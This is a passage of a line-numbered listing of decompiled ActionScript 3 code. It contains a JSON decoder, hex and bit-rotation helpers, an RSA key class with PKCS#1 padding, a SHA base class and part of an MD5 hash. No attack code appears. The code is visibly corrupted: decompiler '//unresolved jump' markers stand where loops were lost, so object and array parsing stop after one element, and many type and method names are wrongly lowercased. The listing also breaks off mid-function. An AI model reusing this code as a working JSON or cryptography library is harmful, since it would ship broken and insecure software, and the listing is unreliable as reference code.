  1256. private var tokenizer:JSONTokenizer;
  1257.  
  1258. private var token:JSONToken;
  1259.  
  1260.  
  1261.  
  1262. public function JSONDecoder(_arg1:string){
  1263.  
  1264. tokenizer = new JSONTokenizer(_arg1);
  1265.  
  1266. nextToken();
  1267.  
  1268. value = parseValue();
  1269.  
  1270. }
  1271.  
  1272. private function parseObject():object{
  1273.  
  1274. var _local2:string;
  1275.  
  1276. var _local1:object = new object();
  1277.  
  1278. nextToken();
  1279.  
  1280. if (token.type == JSONTokenType.RIGHT_BRACE){
  1281.  
  1282. return (_local1);
  1283.  
  1284. };
  1285.  
  1286. if (token.type == JSONTokenType.string){
  1287.  
  1288. _local2 = string(token.value);
  1289.  
  1290. nextToken();
  1291.  
  1292. if (token.type == JSONTokenType.COLON){
  1293.  
  1294. nextToken();
  1295.  
  1296. _local1[_local2] = parseValue();
  1297.  
  1298. nextToken();
  1299.  
  1300. if (token.type == JSONTokenType.RIGHT_BRACE){
  1301.  
  1302. return (_local1);
  1303.  
  1304. };
  1305.  
  1306. if (token.type == JSONTokenType.COMMA){
  1307.  
  1308. nextToken();
  1309.  
  1310. } else {
  1311.  
  1312. tokenizer.parseError(("Expecting } or , but found " + token.value));
  1313.  
  1314. };
  1315.  
  1316. } else {
  1317.  
  1318. tokenizer.parseError(("Expecting : but found " + token.value));
  1319.  
  1320. };
  1321.  
  1322. } else {
  1323.  
  1324. tokenizer.parseError(("Expecting string but found " + token.value));
  1325.  
  1326. };
  1327.  
  1328. //unresolved jump
  1329.  
  1330. }
  1331.  
  1332. private function parseValue():object{
  1333.  
  1334. if (token == null){
  1335.  
  1336. tokenizer.parseError("Unexpected end of input");
  1337.  
  1338. };
  1339.  
  1340. switch (token.type){
  1341.  
  1342. case JSONTokenType.LEFT_BRACE:
  1343.  
  1344. return (parseObject());
  1345.  
  1346. case JSONTokenType.LEFT_BRACKET:
  1347.  
  1348. return (parseArray());
  1349.  
  1350. case JSONTokenType.string:
  1351.  
  1352. case JSONTokenType.number:
  1353.  
  1354. case JSONTokenType.true:
  1355.  
  1356. case JSONTokenType.false:
  1357.  
  1358. case JSONTokenType.null:
  1359.  
  1360. return (token.value);
  1361.  
  1362. default:
  1363.  
  1364. tokenizer.parseError(("Unexpected " + token.value));
  1365.  
  1366. };
  1367.  
  1368. return (null);
  1369.  
  1370. }
  1371.  
  1372. private function nextToken():JSONToken{
  1373.  
  1374. return ((token = tokenizer.getNextToken()));
  1375.  
  1376. }
  1377.  
  1378. public function getValue(){
  1379.  
  1380. return (value);
  1381.  
  1382. }
  1383.  
  1384. private function parseArray():array{
  1385.  
  1386. var _local1:array = new array();
  1387.  
  1388. nextToken();
  1389.  
  1390. if (token.type == JSONTokenType.RIGHT_BRACKET){
  1391.  
  1392. return (_local1);
  1393.  
  1394. };
  1395.  
  1396. _local1.push(parseValue());
  1397.  
  1398. nextToken();
  1399.  
  1400. if (token.type == JSONTokenType.RIGHT_BRACKET){
  1401.  
  1402. return (_local1);
  1403.  
  1404. };
  1405.  
  1406. if (token.type == JSONTokenType.COMMA){
  1407.  
  1408. nextToken();
  1409.  
  1410. } else {
  1411.  
  1412. tokenizer.parseError(("Expecting ] or , but found " + token.value));
  1413.  
  1414. };
  1415.  
  1416. //unresolved jump
  1417.  
  1418. }
  1419.  
  1420.  
  1421.  
  1422. }
  1423.  
  1424. }//package com.adobe.serialization.json
  1425.  
  1426. &#65279;package com.adobe.serialization.json {
  1427.  
  1428.  
  1429.  
  1430. public class JSON {
  1431.  
  1432.  
  1433.  
  1434. public static function decode(_arg1:string){
  1435.  
  1436. var _local2:JSONDecoder = new JSONDecoder(_arg1);
  1437.  
  1438. return (_local2.getValue());
  1439.  
  1440. }
  1441.  
  1442. public static function encode(_arg1:object):string{
  1443.  
  1444. var _local2:JSONEncoder = new JSONEncoder(_arg1);
  1445.  
  1446. return (_local2.getString());
  1447.  
  1448. }
  1449.  
  1450.  
  1451.  
  1452. }
  1453.  
  1454. }//package com.adobe.serialization.json
  1455.  
  1456. &#65279;package com.adobe.utils {
  1457.  
  1458.  
  1459.  
  1460. public class IntUtil {
  1461.  
  1462.  
  1463.  
  1464. private static var hexChars:string = "0123456789abcdef";
  1465.  
  1466.  
  1467.  
  1468. public static function toHex(_arg1:int, _arg2:boolean=false):string{
  1469.  
  1470. var _local4:int;
  1471.  
  1472. var _local5:int;
  1473.  
  1474. var _local3 = "";
  1475.  
  1476. if (_arg2){
  1477.  
  1478. _local4 = 0;
  1479.  
  1480. while (_local4 < 4) {
  1481.  
  1482. _local3 = (_local3 + (hexChars.charat(((_arg1 >> (((3 - _local4) * 8) + 4)) & 15)) + hexChars.charat(((_arg1 >> ((3 - _local4) * 8)) & 15))));
  1483.  
  1484. _local4++;
  1485.  
  1486. };
  1487.  
  1488. } else {
  1489.  
  1490. _local5 = 0;
  1491.  
  1492. while (_local5 < 4) {
  1493.  
  1494. _local3 = (_local3 + (hexChars.charat(((_arg1 >> ((_local5 * 8) + 4)) & 15)) + hexChars.charat(((_arg1 >> (_local5 * 8)) & 15))));
  1495.  
  1496. _local5++;
  1497.  
  1498. };
  1499.  
  1500. };
  1501.  
  1502. return (_local3);
  1503.  
  1504. }
  1505.  
  1506. public static function ror(_arg1:int, _arg2:int):uint{
  1507.  
  1508. var _local3:int = (32 - _arg2);
  1509.  
  1510. return (((_arg1 << _local3) | (_arg1 >>> (32 - _local3))));
  1511.  
  1512. }
  1513.  
  1514. public static function rol(_arg1:int, _arg2:int):int{
  1515.  
  1516. return (((_arg1 << _arg2) | (_arg1 >>> (32 - _arg2))));
  1517.  
  1518. }
  1519.  
  1520.  
  1521.  
  1522. }
  1523.  
  1524. }//package com.adobe.utils
  1525.  
  1526. &#65279;package com.hurlant.crypto.rsa {
  1527.  
  1528. import flash.utils.*;
  1529.  
  1530. import com.hurlant.math.*;
  1531.  
  1532. import com.hurlant.crypto.prng.*;
  1533.  
  1534. import com.hurlant.util.*;
  1535.  
  1536.  
  1537.  
  1538. public class RSAKey {
  1539.  
  1540.  
  1541.  
  1542. public var dmp1:BigInteger;
  1543.  
  1544. protected var canDecrypt:boolean;
  1545.  
  1546. public var d:BigInteger;
  1547.  
  1548. public var e:int;
  1549.  
  1550. public var dmq1:BigInteger;
  1551.  
  1552. public var n:BigInteger;
  1553.  
  1554. public var p:BigInteger;
  1555.  
  1556. public var q:BigInteger;
  1557.  
  1558. protected var canEncrypt:boolean;
  1559.  
  1560. public var coeff:BigInteger;
  1561.  
  1562.  
  1563.  
  1564. public function RSAKey(_arg1:BigInteger, _arg2:int, _arg3:BigInteger=null, _arg4:BigInteger=null, _arg5:BigInteger=null, _arg6:BigInteger=null, _arg7:BigInteger=null, _arg8:BigInteger=null){
  1565.  
  1566. this.n = _arg1;
  1567.  
  1568. this.e = _arg2;
  1569.  
  1570. this.d = _arg3;
  1571.  
  1572. this.p = _arg4;
  1573.  
  1574. this.q = _arg5;
  1575.  
  1576. this.dmp1 = _arg6;
  1577.  
  1578. this.dmq1 = _arg7;
  1579.  
  1580. this.coeff = _arg8;
  1581.  
  1582. canEncrypt = ((!((n == null))) && (!((e == 0))));
  1583.  
  1584. canDecrypt = ((canEncrypt) && (!((d == null))));
  1585.  
  1586. }
  1587.  
  1588. protected static function bigRandom(_arg1:int, _arg2:random):BigInteger{
  1589.  
  1590. var _local3:ByteArray;
  1591.  
  1592. var _local4:BigInteger;
  1593.  
  1594. if (_arg1 < 2){
  1595.  
  1596. return (BigInteger.nbv(1));
  1597.  
  1598. };
  1599.  
  1600. _local3 = new ByteArray();
  1601.  
  1602. _arg2.nextBytes(_local3, (_arg1 >> 3));
  1603.  
  1604. _local3.position = 0;
  1605.  
  1606. _local4 = new BigInteger(_local3);
  1607.  
  1608. _local4.primify(_arg1, 1);
  1609.  
  1610. return (_local4);
  1611.  
  1612. }
  1613.  
  1614. public static function parsePublicKey(_arg1:string, _arg2:string):RSAKey{
  1615.  
  1616. return (new RSAKey(new BigInteger(_arg1, 16), parseint(_arg2, 16)));
  1617.  
  1618. }
  1619.  
  1620. public static function generate(_arg1:uint, _arg2:string):RSAKey{
  1621.  
  1622. var _local3:random;
  1623.  
  1624. var _local4:uint;
  1625.  
  1626. var _local5:RSAKey;
  1627.  
  1628. var _local6:BigInteger;
  1629.  
  1630. var _local7:BigInteger;
  1631.  
  1632. var _local8:BigInteger;
  1633.  
  1634. var _local9:BigInteger;
  1635.  
  1636. var _local10:BigInteger;
  1637.  
  1638. _local3 = new random();
  1639.  
  1640. _local4 = (_arg1 >> 1);
  1641.  
  1642. _local5 = new RSAKey(null, 0, null);
  1643.  
  1644. _local5.e = parseint(_arg2, 16);
  1645.  
  1646. _local6 = new BigInteger(_arg2, 16);
  1647.  
  1648. while (true) {
  1649.  
  1650. while (true) {
  1651.  
  1652. _local5.p = bigRandom((_arg1 - _local4), _local3);
  1653.  
  1654. if ((((_local5.p.subtract(BigInteger.ONE).gcd(_local6).compareTo(BigInteger.ONE) == 0)) && (_local5.p.isProbablePrime(10)))){
  1655.  
  1656. break;
  1657.  
  1658. };
  1659.  
  1660. };
  1661.  
  1662. while (true) {
  1663.  
  1664. _local5.q = bigRandom(_local4, _local3);
  1665.  
  1666. if ((((_local5.q.subtract(BigInteger.ONE).gcd(_local6).compareTo(BigInteger.ONE) == 0)) && (_local5.q.isProbablePrime(10)))){
  1667.  
  1668. break;
  1669.  
  1670. };
  1671.  
  1672. };
  1673.  
  1674. if (_local5.p.compareTo(_local5.q) <= 0){
  1675.  
  1676. _local10 = _local5.p;
  1677.  
  1678. _local5.p = _local5.q;
  1679.  
  1680. _local5.q = _local10;
  1681.  
  1682. };
  1683.  
  1684. _local7 = _local5.p.subtract(BigInteger.ONE);
  1685.  
  1686. _local8 = _local5.q.subtract(BigInteger.ONE);
  1687.  
  1688. _local9 = _local7.multiply(_local8);
  1689.  
  1690. if (_local9.gcd(_local6).compareTo(BigInteger.ONE) == 0){
  1691.  
  1692. _local5.n = _local5.p.multiply(_local5.q);
  1693.  
  1694. _local5.d = _local6.modInverse(_local9);
  1695.  
  1696. _local5.dmp1 = _local5.d.mod(_local7);
  1697.  
  1698. _local5.dmq1 = _local5.d.mod(_local8);
  1699.  
  1700. _local5.coeff = _local5.q.modInverse(_local5.p);
  1701.  
  1702. break;
  1703.  
  1704. };
  1705.  
  1706. };
  1707.  
  1708. return (_local5);
  1709.  
  1710. }
  1711.  
  1712. public static function parsePrivateKey(_arg1:string, _arg2:string, _arg3:string, _arg4:string=null, _arg5:string=null, _arg6:string=null, _arg7:string=null, _arg8:string=null):RSAKey{
  1713.  
  1714. if (_arg4 == null){
  1715.  
  1716. return (new RSAKey(new BigInteger(_arg1, 16), parseint(_arg2, 16), new BigInteger(_arg3, 16)));
  1717.  
  1718. };
  1719.  
  1720. return (new RSAKey(new BigInteger(_arg1, 16), parseint(_arg2, 16), new BigInteger(_arg3, 16), new BigInteger(_arg4, 16), new BigInteger(_arg5, 16), new BigInteger(_arg6, 16), new BigInteger(_arg7), new BigInteger(_arg8)));
  1721.  
  1722. }
  1723.  
  1724.  
  1725.  
  1726. public function verify(_arg1:ByteArray, _arg2:ByteArray, _arg3:uint, _arg4:function=null):void{
  1727.  
  1728. _decrypt(doPublic, _arg1, _arg2, _arg3, _arg4, 1);
  1729.  
  1730. }
  1731.  
  1732. public function dump():string{
  1733.  
  1734. var _local1:string;
  1735.  
  1736. _local1 = ((((("N=" + n.tostring(16)) + "\n") + "E=") + e.tostring(16)) + "\n");
  1737.  
  1738. if (canDecrypt){
  1739.  
  1740. _local1 = (_local1 + (("D=" + d.tostring(16)) + "\n"));
  1741.  
  1742. if (((!((p == null))) && (!((q == null))))){
  1743.  
  1744. _local1 = (_local1 + (("P=" + p.tostring(16)) + "\n"));
  1745.  
  1746. _local1 = (_local1 + (("Q=" + q.tostring(16)) + "\n"));
  1747.  
  1748. _local1 = (_local1 + (("DMP1=" + dmp1.tostring(16)) + "\n"));
  1749.  
  1750. _local1 = (_local1 + (("DMQ1=" + dmq1.tostring(16)) + "\n"));
  1751.  
  1752. _local1 = (_local1 + (("IQMP=" + coeff.tostring(16)) + "\n"));
  1753.  
  1754. };
  1755.  
  1756. };
  1757.  
  1758. return (_local1);
  1759.  
  1760. }
  1761.  
  1762. protected function doPrivate2(_arg1:BigInteger):BigInteger{
  1763.  
  1764. var _local2:BigInteger;
  1765.  
  1766. var _local3:BigInteger;
  1767.  
  1768. var _local4:BigInteger;
  1769.  
  1770. if ((((p == null)) && ((q == null)))){
  1771.  
  1772. return (_arg1.modPow(d, n));
  1773.  
  1774. };
  1775.  
  1776. _local2 = _arg1.mod(p).modPow(dmp1, p);
  1777.  
  1778. _local3 = _arg1.mod(q).modPow(dmq1, q);
  1779.  
  1780. while (_local2.compareTo(_local3) < 0) {
  1781.  
  1782. _local2 = _local2.add(p);
  1783.  
  1784. };
  1785.  
  1786. _local4 = _local2.subtract(_local3).multiply(coeff).mod(p).multiply(q).add(_local3);
  1787.  
  1788. return (_local4);
  1789.  
  1790. }
  1791.  
  1792. public function decrypt(_arg1:ByteArray, _arg2:ByteArray, _arg3:uint, _arg4:function=null):void{
  1793.  
  1794. _decrypt(doPrivate2, _arg1, _arg2, _arg3, _arg4, 2);
  1795.  
  1796. }
  1797.  
  1798. private function _decrypt(_arg1:function, _arg2:ByteArray, _arg3:ByteArray, _arg4:uint, _arg5:function, _arg6:int):void{
  1799.  
  1800. var _local7:uint;
  1801.  
  1802. var _local8:int;
  1803.  
  1804. var _local9:BigInteger;
  1805.  
  1806. var _local10:BigInteger;
  1807.  
  1808. var _local11:ByteArray;
  1809.  
  1810. if (_arg5 == null){
  1811.  
  1812. _arg5 = pkcs1unpad;
  1813.  
  1814. };
  1815.  
  1816. if (_arg2.position >= _arg2.length){
  1817.  
  1818. _arg2.position = 0;
  1819.  
  1820. };
  1821.  
  1822. _local7 = getBlockSize();
  1823.  
  1824. _local8 = (_arg2.position + _arg4);
  1825.  
  1826. while (_arg2.position < _local8) {
  1827.  
  1828. _local9 = new BigInteger(_arg2, _arg4);
  1829.  
  1830. _local10 = _arg1(_local9);
  1831.  
  1832. _local11 = _arg5(_local10, _local7);
  1833.  
  1834. _arg3.writeBytes(_local11);
  1835.  
  1836. };
  1837.  
  1838. }
  1839.  
  1840. protected function doPublic(_arg1:BigInteger):BigInteger{
  1841.  
  1842. return (_arg1.modPowInt(e, n));
  1843.  
  1844. }
  1845.  
  1846. public function dispose():void{
  1847.  
  1848. e = 0;
  1849.  
  1850. n.dispose();
  1851.  
  1852. n = null;
  1853.  
  1854. Memory.gc();
  1855.  
  1856. }
  1857.  
  1858. private function _encrypt(_arg1:function, _arg2:ByteArray, _arg3:ByteArray, _arg4:uint, _arg5:function, _arg6:int):void{
  1859.  
  1860. var _local7:uint;
  1861.  
  1862. var _local8:int;
  1863.  
  1864. var _local9:BigInteger;
  1865.  
  1866. var _local10:BigInteger;
  1867.  
  1868. if (_arg5 == null){
  1869.  
  1870. _arg5 = pkcs1pad;
  1871.  
  1872. };
  1873.  
  1874. if (_arg2.position >= _arg2.length){
  1875.  
  1876. _arg2.position = 0;
  1877.  
  1878. };
  1879.  
  1880. _local7 = getBlockSize();
  1881.  
  1882. _local8 = (_arg2.position + _arg4);
  1883.  
  1884. while (_arg2.position < _local8) {
  1885.  
  1886. _local9 = new BigInteger(_arg5(_arg2, _local8, _local7, _arg6), _local7);
  1887.  
  1888. _local10 = _arg1(_local9);
  1889.  
  1890. _local10.toArray(_arg3);
  1891.  
  1892. };
  1893.  
  1894. }
  1895.  
  1896. private function rawpad(_arg1:ByteArray, _arg2:int, _arg3:uint):ByteArray{
  1897.  
  1898. return (_arg1);
  1899.  
  1900. }
  1901.  
  1902. public function encrypt(_arg1:ByteArray, _arg2:ByteArray, _arg3:uint, _arg4:function=null):void{
  1903.  
  1904. _encrypt(doPublic, _arg1, _arg2, _arg3, _arg4, 2);
  1905.  
  1906. }
  1907.  
  1908. private function pkcs1pad(_arg1:ByteArray, _arg2:int, _arg3:uint, _arg4:uint=2):ByteArray{
  1909.  
  1910. var _local5:ByteArray;
  1911.  
  1912. var _local6:uint;
  1913.  
  1914. var _local7:int;
  1915.  
  1916. var _local8:random;
  1917.  
  1918. var _local9:int;
  1919.  
  1920. _local5 = new ByteArray();
  1921.  
  1922. _local6 = _arg1.position;
  1923.  
  1924. _arg2 = math.min(_arg2, _arg1.length, ((_local6 + _arg3) - 11));
  1925.  
  1926. _arg1.position = _arg2;
  1927.  
  1928. _local7 = (_arg2 - 1);
  1929.  
  1930. while ((((_local7 >= _local6)) && ((_arg3 > 11)))) {
  1931.  
  1932. --_arg3;
  1933.  
  1934. var _local10 = _arg3;
  1935.  
  1936. var _temp1 = _local7;
  1937.  
  1938. _local7 = (_local7 - 1);
  1939.  
  1940. _local5[_local10] = _arg1[_temp1];
  1941.  
  1942. };
  1943.  
  1944. --_arg3;
  1945.  
  1946. _local10 = _arg3;
  1947.  
  1948. _local5[_local10] = 0;
  1949.  
  1950. _local8 = new random();
  1951.  
  1952. while (_arg3 > 2) {
  1953.  
  1954. _local9 = 0;
  1955.  
  1956. while (_local9 == 0) {
  1957.  
  1958. _local9 = ((_arg4)==2) ? _local8.nextByte() : 0xFF;
  1959.  
  1960. };
  1961.  
  1962. --_arg3;
  1963.  
  1964. var _local11 = _arg3;
  1965.  
  1966. _local5[_local11] = _local9;
  1967.  
  1968. };
  1969.  
  1970. --_arg3;
  1971.  
  1972. _local11 = _arg3;
  1973.  
  1974. _local5[_local11] = _arg4;
  1975.  
  1976. --_arg3;
  1977.  
  1978. var _local12 = _arg3;
  1979.  
  1980. _local5[_local12] = 0;
  1981.  
  1982. return (_local5);
  1983.  
  1984. }
  1985.  
  1986. private function pkcs1unpad(_arg1:BigInteger, _arg2:uint, _arg3:uint=2):ByteArray{
  1987.  
  1988. var _local4:ByteArray;
  1989.  
  1990. var _local5:ByteArray;
  1991.  
  1992. var _local6:int;
  1993.  
  1994. _local4 = _arg1.toByteArray();
  1995.  
  1996. _local5 = new ByteArray();
  1997.  
  1998. _local6 = 0;
  1999.  
  2000. while ((((_local6 < _local4.length)) && ((_local4[_local6] == 0)))) {
  2001.  
  2002. _local6++;
  2003.  
  2004. };
  2005.  
  2006. if (((!(((_local4.length - _local6) == (_arg2 - 1)))) || ((_local4[_local6] > 2)))){
  2007.  
  2008. trace(((("PKCS#1 unpad: i=" + _local6) + ", expected b[i]==[0,1,2], got b[i]=") + _local4[_local6].tostring(16)));
  2009.  
  2010. return (null);
  2011.  
  2012. };
  2013.  
  2014. _local6++;
  2015.  
  2016. while (_local4[_local6] != 0) {
  2017.  
  2018. ++_local6;
  2019.  
  2020. if (_local6 >= _local4.length){
  2021.  
  2022. trace((((("PKCS#1 unpad: i=" + _local6) + ", b[i-1]!=0 (=") + _local4[(_local6 - 1)].tostring(16)) + ")"));
  2023.  
  2024. return (null);
  2025.  
  2026. };
  2027.  
  2028. };
  2029.  
  2030. while (++_local6 < _local4.length) {
  2031.  
  2032. _local5.writeByte(_local4[_local6]);
  2033.  
  2034. };
  2035.  
  2036. _local5.position = 0;
  2037.  
  2038. return (_local5);
  2039.  
  2040. }
  2041.  
  2042. public function getBlockSize():uint{
  2043.  
  2044. return (((n.bitLength() + 7) / 8));
  2045.  
  2046. }
  2047.  
  2048. public function tostring():string{
  2049.  
  2050. return ("rsa");
  2051.  
  2052. }
  2053.  
  2054. public function sign(_arg1:ByteArray, _arg2:ByteArray, _arg3:uint, _arg4:function=null):void{
  2055.  
  2056. _encrypt(doPrivate2, _arg1, _arg2, _arg3, _arg4, 1);
  2057.  
  2058. }
  2059.  
  2060. protected function doPrivate(_arg1:BigInteger):BigInteger{
  2061.  
  2062. var _local2:BigInteger;
  2063.  
  2064. var _local3:BigInteger;
  2065.  
  2066. if ((((p == null)) || ((q == null)))){
  2067.  
  2068. return (_arg1.modPow(d, n));
  2069.  
  2070. };
  2071.  
  2072. _local2 = _arg1.mod(p).modPow(dmp1, p);
  2073.  
  2074. _local3 = _arg1.mod(q).modPow(dmq1, q);
  2075.  
  2076. while (_local2.compareTo(_local3) < 0) {
  2077.  
  2078. _local2 = _local2.add(p);
  2079.  
  2080. };
  2081.  
  2082. return (_local2.subtract(_local3).multiply(coeff).mod(p).multiply(q).add(_local3));
  2083.  
  2084. }
  2085.  
  2086.  
  2087.  
  2088. }
  2089.  
  2090. }//package com.hurlant.crypto.rsa
  2091.  
  2092. &#65279;package com.hurlant.crypto.hash {
  2093.  
  2094. import flash.utils.*;
  2095.  
  2096.  
  2097.  
  2098. public interface IHash {
  2099.  
  2100.  
  2101.  
  2102. function tostring():string;
  2103.  
  2104. function getHashSize():uint;
  2105.  
  2106. function getInputSize():uint;
  2107.  
  2108. function hash(_arg1:ByteArray):ByteArray;
  2109.  
  2110.  
  2111.  
  2112. }
  2113.  
  2114. }//package com.hurlant.crypto.hash
  2115.  
  2116. &#65279;package com.hurlant.crypto.hash {
  2117.  
  2118. import flash.utils.*;
  2119.  
  2120.  
  2121.  
  2122. public class SHABase implements IHash {
  2123.  
  2124.  
  2125.  
  2126. public function getHashSize():uint{
  2127.  
  2128. return (0);
  2129.  
  2130. }
  2131.  
  2132. public function tostring():string{
  2133.  
  2134. return ("sha");
  2135.  
  2136. }
  2137.  
  2138. public function getInputSize():uint{
  2139.  
  2140. return (64);
  2141.  
  2142. }
  2143.  
  2144. public function hash(_arg1:ByteArray):ByteArray{
  2145.  
  2146. var _local2:uint;
  2147.  
  2148. var _local3:string;
  2149.  
  2150. var _local4:uint;
  2151.  
  2152. var _local5:array;
  2153.  
  2154. var _local6:uint;
  2155.  
  2156. var _local7:array;
  2157.  
  2158. var _local8:ByteArray;
  2159.  
  2160. var _local9:uint;
  2161.  
  2162. _local2 = _arg1.length;
  2163.  
  2164. _local3 = _arg1.endian;
  2165.  
  2166. _arg1.endian = Endian.BIG_ENDIAN;
  2167.  
  2168. _local4 = (_local2 * 8);
  2169.  
  2170. while ((_arg1.length % 4) != 0) {
  2171.  
  2172. _arg1[_arg1.length] = 0;
  2173.  
  2174. };
  2175.  
  2176. _arg1.position = 0;
  2177.  
  2178. _local5 = [];
  2179.  
  2180. _local6 = 0;
  2181.  
  2182. while (_local6 < _arg1.length) {
  2183.  
  2184. _local5.push(_arg1.readUnsignedInt());
  2185.  
  2186. _local6 = (_local6 + 4);
  2187.  
  2188. };
  2189.  
  2190. _local7 = core(_local5, _local4);
  2191.  
  2192. _local8 = new ByteArray();
  2193.  
  2194. _local9 = (getHashSize() / 4);
  2195.  
  2196. _local6 = 0;
  2197.  
  2198. while (_local6 < _local9) {
  2199.  
  2200. _local8.writeUnsignedInt(_local7[_local6]);
  2201.  
  2202. _local6++;
  2203.  
  2204. };
  2205.  
  2206. _arg1.length = _local2;
  2207.  
  2208. _arg1.endian = _local3;
  2209.  
  2210. return (_local8);
  2211.  
  2212. }
  2213.  
  2214. protected function core(_arg1:array, _arg2:uint):array{
  2215.  
  2216. return (null);
  2217.  
  2218. }
  2219.  
  2220.  
  2221.  
  2222. }
  2223.  
  2224. }//package com.hurlant.crypto.hash
  2225.  
  2226. &#65279;package com.hurlant.crypto.hash {
  2227.  
  2228. import flash.utils.*;
  2229.  
  2230.  
  2231.  
  2232. public class MD5 implements IHash {
  2233.  
  2234.  
  2235.  
  2236. public static const HASH_SIZE:int = 16;
  2237.  
  2238.  
  2239.  
  2240. private function ff(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint, _arg5:uint, _arg6:uint, _arg7:uint):uint{
  2241.  
  2242. return (cmn(((_arg2 & _arg3) | (~(_arg2) & _arg4)), _arg1, _arg2, _arg5, _arg6, _arg7));
  2243.  
  2244. }
  2245.  
  2246. private function hh(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint, _arg5:uint, _arg6:uint, _arg7:uint):uint{
  2247.  
  2248. return (cmn(((_arg2 ^ _arg3) ^ _arg4), _arg1, _arg2, _arg5, _arg6, _arg7));
  2249.  
  2250. }
  2251.  
  2252. private function cmn(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint, _arg5:uint, _arg6:uint):uint{
  2253.  
  2254. return ((rol((((_arg2 + _arg1) + _arg4) + _arg6), _arg5) + _arg3));
  2255.  
  2256. }
  2257.  
  2258. public function getHashSize():uint{
  2259.  
  2260. return (HASH_SIZE);
  2261.  
  2262. }
  2263.  
  2264. private function ii(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint, _arg5:uint, _arg6:uint, _arg7:uint):uint{
  2265.  
  2266. return (cmn((_arg3 ^ (_arg2 | ~(_arg4))), _arg1, _arg2, _arg5, _arg6, _arg7));
  2267.  
  2268. }
  2269.  
  2270. private function rol(_arg1:uint, _arg2:uint):uint{
  2271.  
  2272. return (((_arg1 << _arg2) | (_arg1 >>> (32 - _arg2))));
  2273.  
  2274. }
  2275.  
  2276. public function tostring():string{
  2277.  
  2278. return ("md5");
  2279.  
  2280. }
  2281.  
  2282. public function getInputSize():uint{
  2283.  
  2284. return (64);
  2285.  
  2286. }
  2287.  
  2288. private function gg(_arg1:uint, _arg2:uint, _arg3:uint, _arg4:uint, _arg5:uint, _arg6:uint, _arg7:uint):uint{
  2289.  
  2290. return (cmn(((_arg2 & _arg4) | (_arg3 & ~(_arg4))), _arg1, _arg2, _arg5, _arg6, _arg7));
  2291.  
  2292. }
  2293.  
  2294. public function hash(_arg1:ByteArray):ByteArray{
  2295.  
  2296. var _local2:uint;
  2297.  
  2298. var _local3:string;
  2299.  
  2300. var _local4:array;
  2301.  
  2302. var _local5:uint;
  2303.  
  2304. var _local6:array;
  2305.  
  2306. var _local7:ByteArray;
  2307.  
  2308. _local2 = (_arg1.length * 8);
  2309.  
  2310. _local3 = _arg1.endian;
  2311.  
  2312. while ((_arg1.length % 4) != 0) {
  2313.  
  2314. _arg1[_arg1.length] = 0;
  2315.  
  2316. };
  2317.  
  2318. _arg1.position = 0;
  2319.  
  2320. _local4 = [];
  2321.  
  2322. _arg1.endian = Endian.LITTLE_ENDIAN;
  2323.  
  2324. _local5 = 0;
  2325.  
  2326. while (_local5 < _arg1.length) {
  2327.  
  2328. _local4.push(_arg1.readUnsignedInt());
  2329.  
  2330. _local5 = (_local5 + 4);
  2331.  
  2332. };
  2333.  
  2334. _local6 = core_md5(_local4, _local2);
  2335.  
  2336. _local7 = new ByteArray();
  2337.  
  2338. _local7.endian = Endian.LITTLE_ENDIAN;
  2339.  
  2340. _local5 = 0;
  2341.  
  2342. while (_local5 < 4) {
  2343.  
  2344. _local7.writeUnsignedInt(_local6[_local5]);
  2345.  
  2346. _local5++;
  2347.  
  2348. };
  2349.  
  2350. _arg1.length = (_local2 / 8);
  2351.  
  2352. _arg1.endian = _local3;
  2353.  
  2354. return (_local7);
  2355.  
  2356. }
  2357.  
  2358. private function core_md5(_arg1:array, _arg2:uint):array{
  2359.  
  2360. var _local3:uint;
  2361.  
  2362. var _local4:uint;
  2363.  
  2364. var _local5:uint;
  2365.  
  2366. var _local6:uint;
  2367.  
  2368. var _local7:uint;
  2369.  
  2370. var _local8:uint;
  2371.  
  2372. var _local9:uint;
  2373.  
  2374. var _local10:uint;
  2375.  
  2376. var _local11:uint;
  2377.  
  2378. _arg1[(_arg2 >> 5)] = (_arg1[(_arg2 >> 5)] | (128 << (_arg2 % 32)));
  2379.  
  2380. _arg1[((((_arg2 + 64) >>> 9) << 4) + 14)] = _arg2;
  2381.  
  2382. _local3 = 1732584193;
  2383.  
  2384. _local4 = 4023233417;
  2385.  
  2386. _local5 = 2562383102;
  2387.  
  2388. _local6 = 271733878;
  2389.  
  2390. _local7 = 0;
  2391.  
  2392. while (_local7 < _arg1.length) {
  2393.  
  2394. _arg1[_local7] = ((_arg1[_local7]) || (0));
  2395.  
  2396. _arg1[(_local7 + 1)] = ((_arg1[(_local7 + 1)]) || (0));
  2397.  
  2398. _arg1[(_local7 + 2)] = ((_arg1[(_local7 + 2)]) || (0));
  2399.  
  2400. _arg1[(_local7 + 3)] = ((_arg1[(_local7 + 3)]) || (0));
  2401.  
  2402. _arg1[(_local7 + 4)] = ((_arg1[(_local7 + 4)]) || (0));
  2403.  
  2404. _arg1[(_local7 + 5)] = ((_arg1[(_local7 + 5)]) || (0));
  2405.  
  2406. _arg1[(_local7 + 6)] = ((_arg1[(_local7 + 6)]) || (0));
  2407.  
  2408. _arg1[(_local7 + 7)] = ((_arg1[(_local7 + 7)]) || (0));
  2409.  
  2410. _arg1[(_local7 + 8)] = ((_arg1[(_local7 + 8)]) || (0));
  2411.  
  2412. _arg1[(_local7 + 9)] = ((_arg1[(_local7 + 9)]) || (0));
  2413.  
  2414. _arg1[(_local7 + 10)] = ((_arg1[(_local7 + 10)]) || (0));
  2415.  
  2416. _arg1[(_local7 + 11)] = ((_arg1[(_local7 + 11)]) || (0));
  2417.  
  2418. _arg1[(_local7 + 12)] = ((_arg1[(_local7 + 12)]) || (0));
  2419.  
  2420. _arg1[(_local7 + 13)] = ((_arg1[(_local7 + 13)]) || (0));
  2421.  
  2422. _arg1[(_local7 + 14)] = ((_arg1[(_local7 + 14)]) || (0));
  2423.  
  2424. _arg1[(_local7 + 15)] = ((_arg1[(_local7 + 15)]) || (0));
  2425.  
  2426. _local8 = _local3;
  2427.  
  2428. _local9 = _local4;
  2429.  
  2430. _local10 = _local5;
  2431.  
  2432. _local11 = _local6;
  2433.  
  2434. _local3 = ff(_local3, _local4, _local5, _local6, _arg1[(_local7 + 0)], 7, 3614090360);
  2435.  
  2436. _local6 = ff(_local6, _local3, _local4, _local5, _arg1[(_local7 + 1)], 12, 3905402710);
  2437.  
